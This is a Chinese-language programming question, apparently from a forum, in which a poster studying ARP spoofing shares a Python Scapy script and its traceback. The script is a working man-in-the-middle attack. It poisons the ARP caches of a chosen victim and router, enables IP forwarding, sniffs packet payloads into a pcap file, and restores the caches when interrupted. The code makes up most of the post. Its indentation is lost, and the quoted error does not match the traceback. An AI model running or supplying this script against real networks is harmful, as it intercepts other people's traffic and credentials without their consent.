我最近一直在研究ARP和ARP欺骗。我在python中编写的ARP欺骗脚本遇到了以下错误:
OSError:表达式拒绝所有数据包
可能重要的信息:
这是我的代码:
import os
import sys
from scapy.all import *
interface = raw_input("interface: \n")
victimIP = raw_input("victim: \n")
routerIP = raw_input("router: \n")
def MACsnag(IP):
ans, unans = arping(IP)
for s, r in ans:
return r[Ether].src
def spoof(routerIP, victimIP):
victimMAC = MACsnag(victimIP)
routerMAC = MACsnag(routerIP)
send(ARP(op = 2, pdst = victimIP, psrc = routerIP, hwdst =
victimMAC))
send(ARP(op = 2, pdst = routerIP, psrc = victimIP, hwdst =
routerMAC))
def restore(routerIP, victimIP):
victimMAC = MACsnag(victimIP)
routerMAC = MACsnag(routerIP)
send(ARP(op = 2, pdst = routerIP, psrc = victimIP, hwdst =
"ff:ff:ff:ff:ff:ff", hwsrc = victimMAC), count = 4)
send(ARP(op = 2, pdst = victimIP, psrc = routerIP, hwdst =
"ff:ff:ff:ff:ff:ff", hwsrc = routerMAC), count = 4)
def sniffer():
pkts = sniff(iface = interface, count = 10, prn = lambda
x:x.sprintf(" Source: %IP.src% : %Ether.src%, \n %Raw.load% \n\n
Reciever: %IP.dst% \n
+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+\n"))
wrpcap("temp.pcap", pkts)
def middleman():
os.system("sysctl -w net.inet.ip.forwarding=1")
while 1:
try:
spoof(routerIP, victimIP)
time.sleep(1)
sniffer()
except KeyboardInterrupt:
restore(routerIP, victimIP)
os.system("sysctl -w net.inet.ip.forwarding=0")
if __name__ == "__main__":
middleman()
这是完整的堆栈跟踪:
Received 0 packets, got 0 answers, remaining 1 packets
Traceback (most recent call last):
File "snoopy.py", line 56, in <module>
middleman()
File "snoopy.py", line 46, in middleman
spoof(routerIP, victimIP)
File "snoopy.py", line 21, in spoof
victimMAC = MACsnag(victimIP)
File "snoopy.py", line 15, in MACsnag
for s, r in ans:
ValueError: need more than 0 values to unpack